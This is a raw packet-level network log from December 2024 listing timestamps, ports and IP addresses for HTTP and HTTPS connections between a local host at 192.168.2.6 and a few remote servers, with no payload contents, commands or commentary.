Dec 9, 2024 18:20:42.968606949 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.968651056 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.968771935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.968811989 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.969439030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.969484091 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.969527006 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.969568014 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.970285892 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.970339060 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.970434904 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.970477104 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.971129894 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.971175909 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.971309900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.972004890 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.972054005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.972058058 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.972851038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.972917080 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.972991943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.973037004 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.973659992 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.973840952 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.973889112 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.974482059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.974716902 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.974762917 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.975298882 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.975346088 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.975420952 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.976146936 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.976196051 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.976227999 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.976744890 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.976953030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.977068901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.977116108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.977796078 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.977920055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.977972984 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.978651047 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.978698969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.978774071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.979476929 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.979526997 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.979732037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.980309963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.980364084 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.980510950 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.980591059 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.981151104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.981313944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.981365919 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.981982946 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.982043028 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.982095957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.095288992 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.095366955 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.095423937 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.095504045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.095760107 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.095805883 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.096149921 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.096292019 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.096334934 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.096971035 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.097093105 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.097132921 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.097847939 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.097882032 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.097945929 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.098040104 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.098978043 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.099021912 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.099195004 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.099271059 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.099880934 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.099931002 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.099963903 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.100259066 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.100816965 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.100862026 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.100892067 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.100933075 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.101649046 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.101701021 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.101835012 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.101876974 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.102396011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.102555990 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.102596045 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.103015900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.103163958 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.103219986 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.103696108 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.103770018 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.103817940 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.104398966 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.104465961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.104509115 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.105060101 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.105120897 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.105133057 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.105701923 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.152429104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.152496099 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.246964931 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.373310089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.694259882 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.694421053 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.694483995 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.694571972 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.694623947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.694683075 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.695327997 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.695382118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.695400953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.695703983 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.695749998 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.695772886 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.696281910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.696336031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.696394920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.696444035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.697123051 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.697241068 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.697288036 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.697616100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.697693110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.697709084 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.698499918 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.698545933 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.698671103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.699498892 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.699544907 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.699588060 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.699625969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.700345039 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.700483084 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.700527906 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.701031923 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.701242924 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.701287985 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.701858044 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.701956034 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.701999903 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.702595949 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.702641010 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.702698946 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.703385115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.703429937 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.703469038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.704241037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.704283953 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.704351902 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.704394102 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.705298901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.705420017 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.705467939 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.815093040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.815129995 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.815157890 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.815164089 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.815180063 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.815200090 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.815289021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.815814972 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.815857887 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.815920115 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.816210985 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.816369057 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.816416025 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.817073107 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.817116976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.817244053 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.817698002 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.817864895 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.817903996 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.817995071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.818882942 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.818934917 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.819005013 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.819931030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.819983006 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.820020914 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.820605993 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.820652962 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.820718050 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.820755005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.821324110 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.821525097 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.821569920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.822068930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.822175026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.822221041 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.822981119 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.823064089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.823108912 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.823756933 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.823846102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.823899984 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.824661970 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.824743986 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.824804068 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.825031996 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.825423002 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.825474977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.825751066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.826201916 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.826361895 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.826436043 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.826508045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.826545000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.827130079 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.827269077 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.827361107 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.828083992 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.828185081 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.828232050 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.828893900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.829009056 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.829052925 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:43.883982897 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:43.885751009 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:44.317459106 CET	443	49812	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:44.317580938 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:44.335656881 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:44.335674047 CET	443	49812	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:44.336014986 CET	443	49812	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:44.390105963 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:44.532960892 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:44.533055067 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:44.533063889 CET	443	49812	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:44.533200026 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:44.579329014 CET	443	49812	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:44.782974005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:44.782996893 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:44.904403925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:44.904418945 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:45.092912912 CET	443	49812	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:45.093259096 CET	443	49812	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:45.093333960 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:45.093477964 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:45.093498945 CET	443	49812	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:45.093518019 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:45.888442993 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:45.889827013 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:45.948890924 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:46.070626974 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:46.390119076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:46.390208960 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:46.390357018 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:46.390400887 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:46.390619040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:46.390669107 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:46.392944098 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:46.515630007 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:46.833412886 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:46.833528996 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:47.153337955 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:47.274451017 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:48.083782911 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:48.083872080 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:48.110672951 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:48.230019093 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:48.550754070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:48.553710938 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:48.557192087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:48.677081108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:48.677330971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:48.677524090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:48.800936937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.028995037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.029098034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.029232979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.029238939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.029278994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.029567957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.029611111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.029700041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.029711962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.029721975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.029741049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.029766083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.030316114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.030349970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.030359983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.030363083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.030390978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.030435085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.150779009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.150844097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.150940895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.150984049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.155153036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.155230999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.223634958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.223805904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.223882914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.226872921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.226944923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.227009058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.227164984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.234184027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.234317064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.234365940 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.241545916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.241601944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.241739035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.241796970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.250302076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.250469923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.250519991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.250540972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.258275032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.258331060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.258460999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.258508921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.266426086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.266491890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.266560078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.266609907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.275173903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.275239944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.275322914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.275369883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.283340931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.283395052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.283468962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.283514023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.292078972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.292146921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.292190075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.292241096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.299499989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.299637079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.299715996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.307059050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.309696913 CET	49828	80	192.168.2.6	185.215.113.16
